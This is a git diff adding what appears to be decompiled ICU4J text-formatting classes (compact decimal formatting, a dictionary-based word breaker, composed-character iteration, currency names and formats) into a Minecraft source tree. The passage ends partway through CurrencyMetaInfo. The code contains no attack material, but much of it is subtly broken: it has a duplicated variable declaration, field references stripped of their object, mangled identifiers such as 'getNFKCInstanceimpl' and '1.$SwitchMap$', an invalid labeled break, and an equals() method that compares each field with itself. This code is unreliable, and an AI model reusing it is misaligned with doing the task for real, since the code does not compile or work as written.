+    
+    CharacterIterator text = inText;
+    int numChars = 0;
+    if (isNormalized) {
+      int index = 0;
+      charPositions[0] = 0;
+      while (index < prenormstr.length()) {
+        int codepoint = prenormstr.codePointAt(index);
+        index += Character.charCount(codepoint);
+        numChars++;
+        charPositions[numChars] = index;
+      }
+    } else {
+      String normStr = Normalizer.normalize(prenormstr, Normalizer.NFKC);
+      text = new StringCharacterIterator(normStr);
+      charPositions = new int[normStr.length() + 1];
+      Normalizer normalizer = new Normalizer(prenormstr, Normalizer.NFKC, 0);
+      int index = 0;
+      charPositions[0] = 0;
+      while (index < normalizer.endIndex()) {
+        normalizer.next();
+        numChars++;
+        index = normalizer.getIndex();
+        charPositions[numChars] = index;
+      }
+    }
+    
+
+
+    int[] bestSnlp = new int[numChars + 1];
+    bestSnlp[0] = 0;
+    for (int i = 1; i <= numChars; i++) {
+      bestSnlp[i] = Integer.MAX_VALUE;
+    }
+    
+    int[] prev = new int[numChars + 1];
+    for (int i = 0; i <= numChars; i++) {
+      prev[i] = -1;
+    }
+    
+    int maxWordSize = 20;
+    int[] values = new int[numChars];
+    int[] lengths = new int[numChars];
+    
+    boolean is_prev_katakana = false;
+    for (int i = 0; i < numChars; i++) {
+      text.setIndex(i);
+      if (bestSnlp[i] != Integer.MAX_VALUE)
+      {
+
+
+        int maxSearchLength = i + 20 < numChars ? 20 : numChars - i;
+        int[] count_ = new int[1];
+        fDictionary.matches(text, maxSearchLength, lengths, count_, maxSearchLength, values);
+        int count = count_[0];
+        
+
+
+
+
+
+        if (((count == 0) || (lengths[0] != 1)) && (CharacterIteration.current32(text) != Integer.MAX_VALUE) && (!fHangulWordSet.contains(CharacterIteration.current32(text)))) {
+          values[count] = 255;
+          lengths[count] = 1;
+          count++;
+        }
+        
+        for (int j = 0; j < count; j++) {
+          int newSnlp = bestSnlp[i] + values[j];
+          if (newSnlp < bestSnlp[(lengths[j] + i)]) {
+            bestSnlp[(lengths[j] + i)] = newSnlp;
+            prev[(lengths[j] + i)] = i;
+          }
+        }
+        
+
+
+
+
+
+        text.setIndex(i);
+        boolean is_katakana = isKatakana(CharacterIteration.current32(text));
+        if ((!is_prev_katakana) && (is_katakana)) {
+          int j = i + 1;
+          CharacterIteration.next32(text);
+          while ((j < numChars) && (j - i < 20) && (isKatakana(CharacterIteration.current32(text)))) {
+            CharacterIteration.next32(text);
+            j++;
+          }
+          
+          if (j - i < 20) {
+            int newSnlp = bestSnlp[i] + getKatakanaCost(j - i);
+            if (newSnlp < bestSnlp[j]) {
+              bestSnlp[j] = newSnlp;
+              prev[j] = i;
+            }
+          }
+        }
+        is_prev_katakana = is_katakana;
+      }
+    }
+    int[] t_boundary = new int[numChars + 1];
+    int numBreaks = 0;
+    if (bestSnlp[numChars] == Integer.MAX_VALUE) {
+      t_boundary[numBreaks] = numChars;
+      numBreaks++;
+    } else {
+      for (int i = numChars; i > 0; i = prev[i]) {
+        t_boundary[numBreaks] = i;
+        numBreaks++;
+      }
+      Assert.assrt(prev[t_boundary[(numBreaks - 1)]] == 0);
+    }
+    
+    if ((foundBreaks.size() == 0) || (((Integer)foundBreaks.peek()).intValue() < startPos)) {
+      t_boundary[(numBreaks++)] = 0;
+    }
+    
+    for (int i = numBreaks - 1; i >= 0; i--) {
+      int pos = charPositions[t_boundary[i]] + startPos;
+      if ((!foundBreaks.contains(Integer.valueOf(pos))) && (pos != startPos)) {
+        foundBreaks.push(Integer.valueOf(charPositions[t_boundary[i]] + startPos));
+      }
+    }
+    if ((!foundBreaks.empty()) && (((Integer)foundBreaks.peek()).intValue() == endPos))
+      foundBreaks.pop();
+    if (!foundBreaks.empty())
+      inText.setIndex(((Integer)foundBreaks.peek()).intValue());
+    return 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CompactDecimalDataCache.java b/src/minecraft/com/ibm/icu/text/CompactDecimalDataCache.java
new file mode 100644
index 0000000..8a8feb3
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CompactDecimalDataCache.java
@@ -0,0 +1,490 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CompactDecimalDataCache
+{
+  private static final String SHORT_STYLE = "short";
+  private static final String LONG_STYLE = "long";
+  private static final String NUMBER_ELEMENTS = "NumberElements";
+  private static final String PATTERN_LONG_PATH = "patternsLong/decimalFormat";
+  private static final String PATTERNS_SHORT_PATH = "patternsShort/decimalFormat";
+  static final String OTHER = "other";
+  static final int MAX_DIGITS = 15;
+  private static final String LATIN_NUMBERING_SYSTEM = "latn";
+  private final ICUCache<ULocale, DataBundle> cache;
+  
+  CompactDecimalDataCache()
+  {
+    cache = new SimpleCache();
+  }
+  
+
+
+
+
+
+
+  static class Data
+  {
+    long[] divisors;
+    
+
+
+
+
+
+    Map<String, DecimalFormat.Unit[]> units;
+    
+
+
+
+
+
+    Data(long[] divisors, Map<String, DecimalFormat.Unit[]> units)
+    {
+      this.divisors = divisors;
+      this.units = units;
+    }
+  }
+  
+
+
+  static class DataBundle
+  {
+    CompactDecimalDataCache.Data shortData;
+    
+    CompactDecimalDataCache.Data longData;
+    
+
+    DataBundle(CompactDecimalDataCache.Data shortData, CompactDecimalDataCache.Data longData)
+    {
+      this.shortData = shortData;
+      this.longData = longData;
+    }
+  }
+  
+  private static enum QuoteState {
+    OUTSIDE, 
+    INSIDE_EMPTY, 
+    INSIDE_FULL;
+    
+
+
+    private QuoteState() {}
+  }
+  
+
+  private static enum UResFlags
+  {
+    ANY, 
+    NOT_ROOT;
+    
+
+
+    private UResFlags() {}
+  }
+  
+
+  DataBundle get(ULocale locale)
+  {
+    DataBundle result = (DataBundle)cache.get(locale);
+    if (result == null) {
+      result = load(locale);
+      cache.put(locale, result);
+    }
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private static DataBundle load(ULocale ulocale)
+  {
+    NumberingSystem ns = NumberingSystem.getInstance(ulocale);
+    ICUResourceBundle r = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", ulocale);
+    
+    r = r.getWithFallback("NumberElements");
+    String numberingSystemName = ns.getName();
+    
+    ICUResourceBundle shortDataBundle = null;
+    ICUResourceBundle longDataBundle = null;
+    if (!"latn".equals(numberingSystemName)) {
+      ICUResourceBundle bundle = findWithFallback(r, numberingSystemName, UResFlags.NOT_ROOT);
+      shortDataBundle = findWithFallback(bundle, "patternsShort/decimalFormat", UResFlags.NOT_ROOT);
+      longDataBundle = findWithFallback(bundle, "patternsLong/decimalFormat", UResFlags.NOT_ROOT);
+    }
+    
+
+    if (shortDataBundle == null) {
+      ICUResourceBundle bundle = getWithFallback(r, "latn", UResFlags.ANY);
+      shortDataBundle = getWithFallback(bundle, "patternsShort/decimalFormat", UResFlags.ANY);
+      if (longDataBundle == null) {
+        longDataBundle = findWithFallback(bundle, "patternsLong/decimalFormat", UResFlags.ANY);
+        if ((longDataBundle != null) && (isRoot(longDataBundle)) && (!isRoot(shortDataBundle))) {
+          longDataBundle = null;
+        }
+      }
+    }
+    Data shortData = loadStyle(shortDataBundle, ulocale, "short");
+    Data longData;
+    Data longData; if (longDataBundle == null) {
+      longData = shortData;
+    } else {
+      longData = loadStyle(longDataBundle, ulocale, "long");
+    }
+    return new DataBundle(shortData, longData);
+  }
+  
+
+
+
+
+
+
+
+
+  private static ICUResourceBundle findWithFallback(ICUResourceBundle r, String path, UResFlags flags)
+  {
+    if (r == null) {
+      return null;
+    }
+    ICUResourceBundle result = r.findWithFallback(path);
+    if (result == null) {
+      return null;
+    }
+    switch (flags) {
+    case NOT_ROOT: 
+      return isRoot(result) ? null : result;
+    case ANY: 
+      return result;
+    }
+    throw new IllegalArgumentException();
+  }
+  
+
+
+
+
+
+  private static ICUResourceBundle getWithFallback(ICUResourceBundle r, String path, UResFlags flags)
+  {
+    ICUResourceBundle result = findWithFallback(r, path, flags);
+    if (result == null) {
+      throw new MissingResourceException("Cannot find " + path, ICUResourceBundle.class.getName(), path);
+    }
+    
+
+
+    return result;
+  }
+  
+
+
+  private static boolean isRoot(ICUResourceBundle r)
+  {
+    ULocale bundleLocale = r.getULocale();
+    
+
+
+
+    return (bundleLocale.equals(ULocale.ROOT)) || (bundleLocale.toString().equals("root"));
+  }
+  
+
+
+
+
+
+
+
+
+  private static Data loadStyle(ICUResourceBundle r, ULocale locale, String style)
+  {
+    int size = r.getSize();
+    Data result = new Data(new long[15], new HashMap());
+    
+
+    for (int i = 0; i < size; i++) {
+      populateData(r.get(i), locale, style, result);
+    }
+    fillInMissing(result);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void populateData(UResourceBundle divisorData, ULocale locale, String style, Data result)
+  {
+    long magnitude = Long.parseLong(divisorData.getKey());
+    int thisIndex = (int)Math.log10(magnitude);
+    
+
+    if (thisIndex >= 15) {
+      return;
+    }
+    
+    int size = divisorData.getSize();
+    
+
+
+
+
+    int numZeros = 0;
+    
+
+
+
+
+    boolean otherVariantDefined = false;
+    
+
+    for (int i = 0; i < size; i++) {
+      UResourceBundle pluralVariantData = divisorData.get(i);
+      String pluralVariant = pluralVariantData.getKey();
+      String template = pluralVariantData.getString();
+      if (pluralVariant.equals("other")) {
+        otherVariantDefined = true;
+      }
+      int nz = populatePrefixSuffix(pluralVariant, thisIndex, template, locale, style, result);
+      
+      if (nz != numZeros) {
+        if (numZeros != 0) {
+          throw new IllegalArgumentException("Plural variant '" + pluralVariant + "' template '" + template + "' for 10^" + thisIndex + " has wrong number of zeros in " + localeAndStyle(locale, style));
+        }
+        
+
+
+        numZeros = nz;
+      }
+    }
+    
+    if (!otherVariantDefined) {
+      throw new IllegalArgumentException("No 'other' plural variant defined for 10^" + thisIndex + "in " + localeAndStyle(locale, style));
+    }
+    
+
+
+
+
+
+
+
+
+    long divisor = magnitude;
+    for (int i = 1; i < numZeros; i++) {
+      divisor /= 10L;
+    }
+    divisors[thisIndex] = divisor;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static int populatePrefixSuffix(String pluralVariant, int idx, String template, ULocale locale, String style, Data result)
+  {
+    int firstIdx = template.indexOf("0");
+    int lastIdx = template.lastIndexOf("0");
+    if (firstIdx == -1) {
+      throw new IllegalArgumentException("Expect at least one zero in template '" + template + "' for variant '" + pluralVariant + "' for 10^" + idx + " in " + localeAndStyle(locale, style));
+    }
+    
+
+
+    String prefix = fixQuotes(template.substring(0, firstIdx));
+    String suffix = fixQuotes(template.substring(lastIdx + 1));
+    saveUnit(new DecimalFormat.Unit(prefix, suffix), pluralVariant, idx, units);
+    
+
+
+
+    if ((prefix.trim().length() == 0) && (suffix.trim().length() == 0)) {
+      return idx + 1;
+    }
+    
+
+    int i = firstIdx + 1;
+    while ((i <= lastIdx) && (template.charAt(i) == '0')) {
+      i++;
+    }
+    return i - firstIdx;
+  }
+  
+  private static String fixQuotes(String prefixOrSuffix) {
+    StringBuilder result = new StringBuilder();
+    int len = prefixOrSuffix.length();
+    QuoteState state = QuoteState.OUTSIDE;
+    for (int idx = 0; idx < len; idx++) {
+      char ch = prefixOrSuffix.charAt(idx);
+      if (ch == '\'') {
+        if (state == QuoteState.INSIDE_EMPTY) {
+          result.append('\'');
+        }
+      } else {
+        result.append(ch);
+      }
+      
+
+      switch (1.$SwitchMap$com$ibm$icu$text$CompactDecimalDataCache$QuoteState[state.ordinal()]) {
+      case 1: 
+        state = ch == '\'' ? QuoteState.INSIDE_EMPTY : QuoteState.OUTSIDE;
+        break;
+      case 2: 
+      case 3: 
+        state = ch == '\'' ? QuoteState.OUTSIDE : QuoteState.INSIDE_FULL;
+        break;
+      default: 
+        throw new IllegalStateException();
+      }
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+  private static String localeAndStyle(ULocale locale, String style)
+  {
+    return "locale '" + locale + "' style '" + style + "'";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void fillInMissing(Data result)
+  {
+    long lastDivisor = 1L;
+    for (int i = 0; i < divisors.length; i++) {
+      if (((DecimalFormat.Unit[])units.get("other"))[i] == null) {
+        divisors[i] = lastDivisor;
+        copyFromPreviousIndex(i, units);
+      } else {
+        lastDivisor = divisors[i];
+        propagateOtherToMissing(i, units);
+      }
+    }
+  }
+  
+  private static void propagateOtherToMissing(int idx, Map<String, DecimalFormat.Unit[]> units)
+  {
+    DecimalFormat.Unit otherVariantValue = ((DecimalFormat.Unit[])units.get("other"))[idx];
+    for (DecimalFormat.Unit[] byBase : units.values()) {
+      if (byBase[idx] == null) {
+        byBase[idx] = otherVariantValue;
+      }
+    }
+  }
+  
+  private static void copyFromPreviousIndex(int idx, Map<String, DecimalFormat.Unit[]> units) {
+    for (DecimalFormat.Unit[] byBase : units.values()) {
+      if (idx == 0) {
+        byBase[idx] = DecimalFormat.NULL_UNIT;
+      } else {
+        byBase[idx] = byBase[(idx - 1)];
+      }
+    }
+  }
+  
+
+  private static void saveUnit(DecimalFormat.Unit unit, String pluralVariant, int idx, Map<String, DecimalFormat.Unit[]> units)
+  {
+    DecimalFormat.Unit[] byBase = (DecimalFormat.Unit[])units.get(pluralVariant);
+    if (byBase == null) {
+      byBase = new DecimalFormat.Unit[15];
+      units.put(pluralVariant, byBase);
+    }
+    byBase[idx] = unit;
+  }
+  
+
+
+
+
+
+
+
+
+
+  static DecimalFormat.Unit getUnit(Map<String, DecimalFormat.Unit[]> units, String variant, int base)
+  {
+    DecimalFormat.Unit[] byBase = (DecimalFormat.Unit[])units.get(variant);
+    if (byBase == null) {
+      byBase = (DecimalFormat.Unit[])units.get("other");
+    }
+    return byBase[base];
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CompactDecimalFormat.java b/src/minecraft/com/ibm/icu/text/CompactDecimalFormat.java
new file mode 100644
index 0000000..cc0d581
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CompactDecimalFormat.java
@@ -0,0 +1,416 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.ULocale;
+import java.io.IOException;
+import java.io.NotSerializableException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.math.BigInteger;
+import java.text.AttributedCharacterIterator;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompactDecimalFormat
+  extends DecimalFormat
+{
+  private static final long serialVersionUID = 4716293295276629682L;
+  private static final int POSITIVE_PREFIX = 0;
+  private static final int POSITIVE_SUFFIX = 1;
+  private static final int AFFIX_SIZE = 2;
+  private static final CompactDecimalDataCache cache = new CompactDecimalDataCache();
+  
+
+
+  private final Map<String, DecimalFormat.Unit[]> units;
+  
+
+
+  private final long[] divisor;
+  
+
+  private final String[] currencyAffixes;
+  
+
+  private final PluralRules pluralRules;
+  
+
+
+  public static enum CompactStyle
+  {
+    SHORT, 
+    
+
+
+
+
+    LONG;
+    
+
+
+
+    private CompactStyle() {}
+  }
+  
+
+
+
+  public static CompactDecimalFormat getInstance(ULocale locale, CompactStyle style)
+  {
+    return new CompactDecimalFormat(locale, style);
+  }
+  
+
+
+
+
+
+
+
+
+  public static CompactDecimalFormat getInstance(Locale locale, CompactStyle style)
+  {
+    return new CompactDecimalFormat(ULocale.forLocale(locale), style);
+  }
+  
+
+
+
+
+
+
+
+  CompactDecimalFormat(ULocale locale, CompactStyle style)
+  {
+    DecimalFormat format = (DecimalFormat)NumberFormat.getInstance(locale);
+    CompactDecimalDataCache.Data data = getData(locale, style);
+    units = units;
+    divisor = divisors;
+    applyPattern(format.toPattern());
+    setDecimalFormatSymbols(format.getDecimalFormatSymbols());
+    setMaximumSignificantDigits(3);
+    setSignificantDigitsUsed(true);
+    if (style == CompactStyle.SHORT) {
+      setGroupingUsed(false);
+    }
+    pluralRules = PluralRules.forLocale(locale);
+    
+    DecimalFormat currencyFormat = (DecimalFormat)NumberFormat.getCurrencyInstance(locale);
+    currencyAffixes = new String[2];
+    currencyAffixes[0] = currencyFormat.getPositivePrefix();
+    currencyAffixes[1] = currencyFormat.getPositiveSuffix();
+    setCurrency(null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public CompactDecimalFormat(String pattern, DecimalFormatSymbols formatSymbols, String[] prefix, String[] suffix, long[] divisor, Collection<String> debugCreationErrors, CompactStyle style, String[] currencyAffixes)
+  {
+    if (prefix.length < 15) {
+      recordError(debugCreationErrors, "Must have at least 15 prefix items.");
+    }
+    if ((prefix.length != suffix.length) || (prefix.length != divisor.length)) {
+      recordError(debugCreationErrors, "Prefix, suffix, and divisor arrays must have the same length.");
+    }
+    long oldDivisor = 0L;
+    Map<String, Integer> seen = new HashMap();
+    for (int i = 0; i < prefix.length; i++) {
+      if ((prefix[i] == null) || (suffix[i] == null)) {
+        recordError(debugCreationErrors, "Prefix or suffix is null for " + i);
+      }
+      
+
+      int log = (int)Math.log10(divisor[i]);
+      if (log > i) {
+        recordError(debugCreationErrors, "Divisor[" + i + "] must be less than or equal to 10^" + i + ", but is: " + divisor[i]);
+      }
+      
+      long roundTrip = Math.pow(10.0D, log);
+      if (roundTrip != divisor[i]) {
+        recordError(debugCreationErrors, "Divisor[" + i + "] must be a power of 10, but is: " + divisor[i]);
+      }
+      
+
+      String key = prefix[i] + "￿" + suffix[i] + "￿" + (i - log);
+      Integer old = (Integer)seen.get(key);
+      if (old != null) {
+        recordError(debugCreationErrors, "Collision between values for " + i + " and " + old + " for [prefix/suffix/index-log(divisor)" + key.replace(65535, ';'));
+      }
+      else {
+        seen.put(key, Integer.valueOf(i));
+      }
+      if (divisor[i] < oldDivisor) {
+        recordError(debugCreationErrors, "Bad divisor, the divisor for 10E" + i + "(" + divisor[i] + ") is less than the divisor for the divisor for 10E" + (i - 1) + "(" + oldDivisor + ")");
+      }
+      
+      oldDivisor = divisor[i];
+    }
+    
+    units = otherPluralVariant(prefix, suffix);
+    this.divisor = ((long[])divisor.clone());
+    applyPattern(pattern);
+    setDecimalFormatSymbols(formatSymbols);
+    setMaximumSignificantDigits(2);
+    setSignificantDigitsUsed(true);
+    setGroupingUsed(false);
+    this.currencyAffixes = ((String[])currencyAffixes.clone());
+    pluralRules = null;
+    setCurrency(null);
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (obj == null)
+      return false;
+    if (!super.equals(obj))
+      return false;
+    CompactDecimalFormat other = (CompactDecimalFormat)obj;
+    return (mapsAreEqual(units, units)) && (Arrays.equals(divisor, divisor)) && (Arrays.equals(currencyAffixes, currencyAffixes)) && (pluralRules.equals(pluralRules));
+  }
+  
+
+
+
+  private boolean mapsAreEqual(Map<String, DecimalFormat.Unit[]> lhs, Map<String, DecimalFormat.Unit[]> rhs)
+  {
+    if (lhs.size() != rhs.size()) {
+      return false;
+    }
+    
+    for (Map.Entry<String, DecimalFormat.Unit[]> entry : lhs.entrySet()) {
+      DecimalFormat.Unit[] value = (DecimalFormat.Unit[])rhs.get(entry.getKey());
+      if ((value == null) || (!Arrays.equals((Object[])entry.getValue(), value))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+  public StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    Amount amount = toAmount(number);
+    DecimalFormat.Unit unit = amount.getUnit();
+    unit.writePrefix(toAppendTo);
+    super.format(amount.getQty(), toAppendTo, pos);
+    unit.writeSuffix(toAppendTo);
+    return toAppendTo;
+  }
+  
+
+
+
+
+
+  public AttributedCharacterIterator formatToCharacterIterator(Object obj)
+  {
+    if (!(obj instanceof Number)) {
+      throw new IllegalArgumentException();
+    }
+    Number number = (Number)obj;
+    Amount amount = toAmount(number.doubleValue());
+    return super.formatToCharacterIterator(Double.valueOf(amount.getQty()), amount.getUnit());
+  }
+  
+
+
+
+
+  public StringBuffer format(long number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(number, toAppendTo, pos);
+  }
+  
+
+
+
+
+  public StringBuffer format(BigInteger number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(number.doubleValue(), toAppendTo, pos);
+  }
+  
+
+
+
+
+  public StringBuffer format(java.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(number.doubleValue(), toAppendTo, pos);
+  }
+  
+
+
+
+
+  public StringBuffer format(com.ibm.icu.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    return format(number.doubleValue(), toAppendTo, pos);
+  }
+  
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    throw new NotSerializableException();
+  }
+  
+  private void readObject(ObjectInputStream in) throws IOException {
+    throw new NotSerializableException();
+  }
+  
+
+
+
+
+  private Amount toAmount(double number)
+  {
+    boolean negative = isNumberNegative(number);
+    number = adjustNumberAsInFormatting(number);
+    int base = number <= 1.0D ? 0 : (int)Math.log10(number);
+    if (base >= 15) {
+      base = 14;
+    }
+    number /= divisor[base];
+    String pluralVariant = getPluralForm(number);
+    if (negative) {
+      number = -number;
+    }
+    return new Amount(number, CompactDecimalDataCache.getUnit(units, pluralVariant, base));
+  }
+  
+
+
+  private void recordError(Collection<String> creationErrors, String errorMessage)
+  {
+    if (creationErrors == null) {
+      throw new IllegalArgumentException(errorMessage);
+    }
+    creationErrors.add(errorMessage);
+  }
+  
+  private Map<String, DecimalFormat.Unit[]> otherPluralVariant(String[] prefix, String[] suffix) {
+    Map<String, DecimalFormat.Unit[]> result = new HashMap();
+    DecimalFormat.Unit[] units = new DecimalFormat.Unit[prefix.length];
+    for (int i = 0; i < units.length; i++) {
+      units[i] = new DecimalFormat.Unit(prefix[i], suffix[i]);
+    }
+    result.put("other", units);
+    return result;
+  }
+  
+  private String getPluralForm(double number) {
+    if (pluralRules == null) {
+      return "other";
+    }
+    return pluralRules.select(number);
+  }
+  
+
+
+
+
+
+
+  private CompactDecimalDataCache.Data getData(ULocale locale, CompactStyle style)
+  {
+    CompactDecimalDataCache.DataBundle bundle = cache.get(locale);
+    switch (1.$SwitchMap$com$ibm$icu$text$CompactDecimalFormat$CompactStyle[style.ordinal()]) {
+    case 1: 
+      return shortData;
+    case 2: 
+      return longData;
+    }
+    return shortData;
+  }
+  
+  private static class Amount
+  {
+    private final double qty;
+    private final DecimalFormat.Unit unit;
+    
+    public Amount(double qty, DecimalFormat.Unit unit) {
+      this.qty = qty;
+      this.unit = unit;
+    }
+    
+    public double getQty() {
+      return qty;
+    }
+    
+    public DecimalFormat.Unit getUnit() {
+      return unit;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/ComposedCharIter.java b/src/minecraft/com/ibm/icu/text/ComposedCharIter.java
new file mode 100644
index 0000000..9e97a5a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/ComposedCharIter.java
@@ -0,0 +1,164 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Norm2AllModes;
+import com.ibm.icu.impl.Normalizer2Impl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public final class ComposedCharIter
+{
+  /**
+   * @deprecated
+   */
+  public static final char DONE = '￿';
+  private final Normalizer2Impl n2impl;
+  private String decompBuf;
+  
+  /**
+   * @deprecated
+   */
+  public ComposedCharIter()
+  {
+    this(false, 0);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public ComposedCharIter(boolean compat, int options)
+  {
+    if (compat) {
+      n2impl = getNFKCInstanceimpl;
+    } else {
+      n2impl = getNFCInstanceimpl;
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public boolean hasNext()
+  {
+    if (nextChar == -1) {
+      findNextChar();
+    }
+    return nextChar != -1;
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public char next()
+  {
+    if (nextChar == -1) {
+      findNextChar();
+    }
+    curChar = nextChar;
+    nextChar = -1;
+    return (char)curChar;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public String decomposition()
+  {
+    if (decompBuf != null) {
+      return decompBuf;
+    }
+    return "";
+  }
+  
+  private void findNextChar()
+  {
+    int c = curChar + 1;
+    decompBuf = null;
+    
+    while (c < 65535) {
+      decompBuf = n2impl.getDecomposition(c);
+      if (decompBuf != null) {
+        break label51;
+      }
+      
+
+      c++;
+    }
+    c = -1;
+    
+    label51:
+    
+    nextChar = c;
+  }
+  
+
+
+  private int curChar = 0;
+  private int nextChar = -1;
+}
diff --git a/src/minecraft/com/ibm/icu/text/CurrencyDisplayNames.java b/src/minecraft/com/ibm/icu/text/CurrencyDisplayNames.java
new file mode 100644
index 0000000..6e1bbdb
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CurrencyDisplayNames.java
@@ -0,0 +1,82 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CurrencyData;
+import com.ibm.icu.impl.CurrencyData.CurrencyDisplayInfoProvider;
+import com.ibm.icu.util.ULocale;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class CurrencyDisplayNames
+{
+  public static CurrencyDisplayNames getInstance(ULocale locale)
+  {
+    return CurrencyData.provider.getInstance(locale, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static CurrencyDisplayNames getInstance(ULocale locale, boolean noSubstitute)
+  {
+    return CurrencyData.provider.getInstance(locale, !noSubstitute);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean hasData()
+  {
+    return CurrencyData.provider.hasData();
+  }
+  
+  public abstract ULocale getULocale();
+  
+  public abstract String getSymbol(String paramString);
+  
+  public abstract String getName(String paramString);
+  
+  public abstract String getPluralName(String paramString1, String paramString2);
+  
+  public abstract Map<String, String> symbolMap();
+  
+  public abstract Map<String, String> nameMap();
+  
+  /**
+   * @deprecated
+   */
+  protected CurrencyDisplayNames() {}
+}
diff --git a/src/minecraft/com/ibm/icu/text/CurrencyFormat.java b/src/minecraft/com/ibm/icu/text/CurrencyFormat.java
new file mode 100644
index 0000000..9be4012
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CurrencyFormat.java
@@ -0,0 +1,62 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.CurrencyAmount;
+import com.ibm.icu.util.ULocale;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class CurrencyFormat
+  extends MeasureFormat
+{
+  static final long serialVersionUID = -931679363692504634L;
+  private NumberFormat fmt;
+  
+  public CurrencyFormat(ULocale locale)
+  {
+    fmt = NumberFormat.getCurrencyInstance(locale.toLocale());
+  }
+  
+
+
+  public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    try
+    {
+      CurrencyAmount currency = (CurrencyAmount)obj;
+      fmt.setCurrency(currency.getCurrency());
+      return fmt.format(currency.getNumber(), toAppendTo, pos);
+    } catch (ClassCastException e) {
+      throw new IllegalArgumentException("Invalid type: " + obj.getClass().getName());
+    }
+  }
+  
+
+
+
+  public Object parseObject(String source, ParsePosition pos)
+  {
+    return fmt.parseCurrency(source, pos);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/CurrencyMetaInfo.java b/src/minecraft/com/ibm/icu/text/CurrencyMetaInfo.java
new file mode 100644
index 0000000..2a55c72
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/CurrencyMetaInfo.java
@@ -0,0 +1,608 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.util.GregorianCalendar;
+import com.ibm.icu.util.TimeZone;
+import java.lang.reflect.Field;
+import java.util.Collections;
+import java.util.Date;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CurrencyMetaInfo
+{
+  private static final CurrencyMetaInfo impl;
+  private static final boolean hasData;
+  
+  public static CurrencyMetaInfo getInstance()
+  {
+    return impl;
+  }
+  
+
+
+
+
+
+
+  public static CurrencyMetaInfo getInstance(boolean noSubstitute)
+  {
+    return hasData ? impl : null;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean hasData()
+  {
+    return hasData;
+  }
+  
+
+
+
+
+
+
+  public static final class CurrencyFilter
+  {
+    public final String region;
+    
+
+
+
+
+
+    public final String currency;
+    
+
+
+
+
+    public final long from;
+    
+
+
+
+
+    public final long to;
+    
+
+
+
+
+    /**
+     * @deprecated
+     */
+    public final boolean tenderOnly;
+    
+
+
+
+
+
+    private CurrencyFilter(String region, String currency, long from, long to, boolean tenderOnly)
+    {
+      this.region = region;
+      this.currency = currency;
+      this.from = from;
+      this.to = to;
+      this.tenderOnly = tenderOnly;
+    }
+    
+
+    private static final CurrencyFilter ALL = new CurrencyFilter(null, null, Long.MIN_VALUE, Long.MAX_VALUE, false);
+    
+
+
+
+
+
